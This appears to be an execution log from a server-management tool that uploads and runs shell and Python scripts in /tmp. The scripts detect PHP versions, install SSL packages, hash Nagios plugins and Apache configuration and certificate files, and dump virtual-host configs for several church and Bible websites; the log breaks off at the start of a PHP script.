	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-11 18:35:44: 

chmod 755 /tmp/pkp372540; /tmp/pkp372540; rm /tmp/pkp372540

2026-03-11 18:35:44: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.18


2026-03-11 18:35:44: 

PUT: /tmp/pkp958674

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-11 18:35:45: 

chmod 755 /tmp/pkp958674; /tmp/pkp958674; rm /tmp/pkp958674

2026-03-11 18:35:45: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-11 18:35:45: 

PUT: /tmp/pkp577221

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-11 18:35:45: 

chmod 755 /tmp/pkp577221; /tmp/pkp577221; rm /tmp/pkp577221

2026-03-11 18:35:45: 


status=ok


2026-03-11 18:35:45: 

PUT: /tmp/pkp368651

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-11 18:35:45: 

chmod 755 /tmp/pkp368651; /tmp/pkp368651; rm /tmp/pkp368651

2026-03-11 18:35:45: 
2026-03-11 18:35:45: 

PUT: /tmp/pkp894685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinks_new_net.conf')
    show_file('/etc/apache2/sites-available/persianchurch_www_info.conf')
    show_file('/etc/apache2/sites-available/christadelphian_www_video.conf')
    show_file('/etc/apache2/sites-available/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-11 18:35:45: 

chmod 755 /tmp/pkp894685; /tmp/pkp894685; rm /tmp/pkp894685

2026-03-11 18:35:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf	1311

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/persianchurch_www_info.conf	508

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphian_www_video.conf	1372

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/exjw_www_org-uk.conf	1323

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 05558524ffbe8024b33d8b6665cadff2
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= db5dea171e8afb4b5779ffdca9cb4efd
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= dfee5f43b3e9a45fb34ac921e50c889c
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= d3b79dd9fc59cf63e1737d28561a7a66
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= d9097637d9b31eb90b9129a5bd8d3bea
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 52a4c75c9360fdf1d0e04edd39cf0133
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= e55d027f02e73b96fe9bdd88b1ef1d86
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= a85dc7cc183fa2d8007e8401273f5ee2
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= f6a30b59b5586b1761a99768fe72a593
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 47979b1695756eacd36fe4c586e2c1c0
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 30a722b761140d4547eebc74bea7468e
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 87e50a46b055da4d29a6b79142b5fd30
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 5ce08d61cf497ba82cad060210ecb8d7
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= af1d67f9d6107a616da657f093846138
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= ad269349a99011a1d7d72816e0c02e4d
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp368651:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-11 18:35:45: Establishing a connection
2026-03-11 18:35:45: 

PUT: /tmp/pkp640751

#!/usr/bin/php
<?php

